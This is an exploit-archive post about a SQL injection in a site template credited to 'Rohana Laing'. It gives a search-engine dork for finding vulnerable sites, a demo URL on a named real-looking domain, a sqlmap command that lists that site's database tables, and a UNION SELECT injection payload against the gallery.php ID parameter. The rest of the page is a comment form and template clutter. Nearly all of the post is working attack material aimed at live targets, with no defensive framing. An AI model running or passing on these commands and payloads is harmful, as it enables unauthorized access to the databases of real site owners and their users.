Rohana Laing SQL Injection

2019.05.19

Cerkuday (TR)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Dork: intext:" 2019 Rohana Laing" id=

# Exploit Title:Rohana Laing SQL Injection
# Date:17.05.2019
# Dork :intext:" 2019 Rohana Laing"  id=
# Exploit Author:Cerkuday 
# Tested on:Windows &Kali Linux

#Demo

http://www.rohanart.com/gallery.php?ID=51&gallery=5

# Poc:

sqlmap -u "http://www.rohanart.com/gallery.php?ID=50&gallery=5"    --random-agent -D rohanart_rohana --tables

http://www.rohanart.com/gallery.php?ID=50' UNION ALL SELECT NULL,NULL,NULL,NULL,CONCAT(0x7176706b71,0x69675657696870575343536d42425341784d5057456a666c44796d7445664e6e666e54674c536265,0x716a7a6a71),NULL,NULL,NULL,NULL,NULL#&gallery=5

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Rohana Laing SQL Injection

Dork: intext:" 2019 Rohana Laing" id=

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.